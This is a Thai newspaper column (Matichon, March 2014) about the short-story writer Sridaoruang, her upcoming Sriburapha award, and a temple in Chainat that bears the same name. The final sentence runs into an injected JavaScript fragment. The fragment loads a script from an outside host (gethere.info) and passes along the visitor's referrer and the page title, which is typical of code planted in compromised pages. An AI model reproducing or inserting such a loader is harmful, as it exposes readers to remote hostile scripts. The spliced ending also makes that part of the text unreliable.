มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 13 มีนาคม 2557

 

ศรีดาวเรือง ที่ อ. สรรคบุรี จ. ชัยนาท

          “ศรีดาวเรือง” นามปากกาของ วรรณา สวัสดิ์ศรี เป็นชาว อ. บางกระทุ่ม จ.  พิษณุโลก คนเขียนเรื่องสั้นทรงพลังอย่างยิ่งของยุคนี้

          (เป็นแม่ของโมน เป็นเมียของสุชาติ)

          วรรณา ศรีดาวเรือง สวัสดิ์ศรี ได้รับยกย่องต่อเนื่องสม่ำเสมอมาหลายปีมาก กระทั่งล่าสุดจะเข้ารับรางวัลศรีบูรพา ในงานวันนักเขียน 5 พฤษภาคม ที่จะถึงนี้

          ผมอ่านงานเรื่องสั้น และข้อเขียนอื่นๆ ของศรีดาวเรืองตั้งแต่แรกๆ เป็นสำนวนง่ายๆเรียบๆ แต่มีพลังสูงมาก สร้างแรงสะเทือนใจไประยะยาวด้วยความคิดลุ่มลึกที่แฝงในความเรียบง่ายนั้น

          มีเหตุจากผมไปพบชื่อศรีดาวเรืองอยู่ชัยนาท เมื่อวันพฤหัสบดีที่ 6 มีนาคม ที่ผ่านมา ขรรค์ชัย บุนปาน ชวนไปทำบุญพิธีลงรักปิดทอง หลวงพ่อทอง พระประธานในโบสถ์วัดพระบรมธาตุ จ. ชัยนาท เสร็จแล้วเลี้ยงเพลทั้งพระสงฆ์และญาติโยมที่ไปร่วมทำบุญ

          กินเพลเสร็จผมนั่งรถออกจากวัด ตามเส้นทางเลียบแม่น้ำน้อย ลง อ. สรรคบุรี จ. ชัยนาท จะไปทาง อ. บางระจัน จ. สิงห์บุรี เข้าสุพรรณ กลับกรุงเทพฯ

          เห็นชื่อวัดศรีดาวเรืองปักอยู่ข้างทางด้านแม่น้ำน้อย

          สงสัยเกี่ยวข้องอะไรกับคนเขียนเรื่องสั้นรางวัลศรีบูรพาล่าสุด เลยแวะเข้าไปดู ก็รู้ว่าเป็นวัดสร้างใหม่

          เจ้าอาวาสบอกความเป็นมา(ให้สีกามดดำ พันธุ์ทิพย์ ฟังทางโทรศัพท์) ได้ความว่าเดิมเป็นวัดร้างชื่อ“วัดสระตาเรือง” ตามชื่อสระน้ำที่อยู่วัด ตาเรืองเป็นชื่อคนเฒ่า มีนิทานผูกไว้ด้วยว่าขุดสระน้ำนั้น

          แต่ชื่อไม่ไพเราะ ไม่สละสลวย เลยเปลี่ยนเป็น “วัดศรีดาวเรือง” เมื่อ พ.ศ. 2549 เพื่อรักษาคำว่าเรืองไว้ แล้วให้มีคำว่าศรีนำหน้าเป็นสิริมงคล ส่วนคำว่าดาวคิดเติมขึ้นเองให้เข้ากับเรือง

          ฝากบอกบุญผ้าป่าสามัคคีมาด้วยs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;